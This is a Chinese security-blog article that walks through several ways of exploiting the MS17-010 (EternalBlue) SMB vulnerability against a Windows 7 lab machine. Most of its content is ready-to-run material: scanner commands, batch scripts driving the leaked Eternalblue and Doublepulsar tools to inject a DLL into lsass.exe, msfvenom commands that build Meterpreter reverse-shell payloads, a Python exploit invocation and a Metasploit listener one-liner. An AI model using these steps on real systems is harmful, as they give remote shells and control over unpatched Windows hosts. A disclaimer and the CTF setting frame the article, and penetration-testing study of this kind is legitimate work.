安全攻防 | 浅谈ms17-010多种利用方式

以下文章来源于亿人安全 ,作者CCJ

声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。


漏洞名称:永恒之蓝

漏洞编号:MS17-010,CVE-2017-0143/0144/0145/0146/0147/0148

漏洞类型:缓冲区溢出漏洞

应用场景:线下ctf综合渗透赛

漏洞影响:Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; Windows Server 2016


1
实验化境介绍

kali 系统:192.168.0.18

win7 系统:192.168.0.28


2
MS17-010漏洞检查

checker.py

GitHub:https://github.com/worawit/MS17-010

python2 checker.py 192.168.0.28

check.bat

GitHub:https://github.com/3gstudent/Smbtouch-Scanner

@Smbtouch-1.1.1.exe --TargetIp %1 --OutConfig 1.txt

check.bat 192.168.0.28

Ladon

Ladon.exe 192.168.0.28 MS17010

fscan

fscan -h 192.168.0.28


3
MS17-010漏洞利用方式

有防火墙

https://www.bilibili.com/video/BV1Ye4y1k7X9/?share_source=copy_web&vd_source=2eb72ea5238fe3398c820713b04697ff

无防火墙Github:

https://github.com/x0rz/EQGRP_Lost_in_Translation

将工具包中以下三个目录中的文件拷贝到同一个目录中(因为64位系统是支持32位的,所以直接复制32位的就好):

windowslibx86-Windows

windowsspecials

windowspayloads

然后在目录中,把Eternalblue-2.2.0.0.xml文件重命名成Eternalblue-2.2.0.xml,Doublepulsar-1.3.1.0.xml改为Doublepulsar-1.3.1.xml

为了方便使用,编写bat脚本

attack.bat 192.168.0.28
@echo off
echo =============== [ TargetIp: %1 ] ===============
Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp %1 --TargetPort 445 --Target WIN72K8R2
backdoor.bat 192.168.0.28 exp.dll
@echo offe
cho ================================================
echo [info] TargetIp: %1
echo [info] Architecture: %2
echo [info] DllPayload: %3
echo ================================================
Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp %1 --TargetPort 445 --Protocol SMB --Architecture %2 --Function RunDLL --DllPayload %3 --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60


  1. https://github.com/Telefonica/Eternalblue-Doublepulsar-Metasploit

deps文件夹,在目录中,把Eternalblue-2.2.0.0.xml文件重命名成Eternalblue-2.2.0.xml,Doublepulsar-1.3.1.0.xml改为Doublepulsar-1.3.1.xml

编写bat脚本,使用方法和上面一样

@echo off
echo =============== [ TargetIp: %1 ] ===============
Eternalblue-2.2.0.exe --TargetIp %1 --Target WIN72K8R2 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig outlog.txt
@echo off
echo ================================================
echo [info] TargetIp: %1
echo [info] Architecture: %2
echo [info] DllPayload: %3
echo ================================================
Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp %1 --TargetPort 445 --Protocol SMB --Architecture %2 --Function RunDLL --DllPayload %3 --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60


4
靶场环境实战利用
#metasploit生成dll文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=9999 -f dll > winx64.dll    
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=9999 -f dll > winx86.dll
(1)poc检查目标服务是否开存在MS17010漏洞

2.攻击

3.漏洞利用

metasploit上线

利用二

K8哥哥的ksmb.exe

成功添加用户

利用三

https://blackwolfsec.cc/2017/05/12/Eternalblue_ms17-010/
需要多次利用才能成功
#生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.18 LPORT=1111 -f raw > shellcode

#利用
python3 ms17-010.py --host 192.168.0.28 --file shellcode

加上--port 445会报错

1.攻击

2.监听后成功上线

#一键启动监听
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.0.18; set lport 1111; exploit - j; "

-END-

本文作者:贝塔安全实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/194017.html

Tags:
评论  (0)
快来写下你的想法吧!

贝塔安全实验室

文章数:29 积分: 65

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号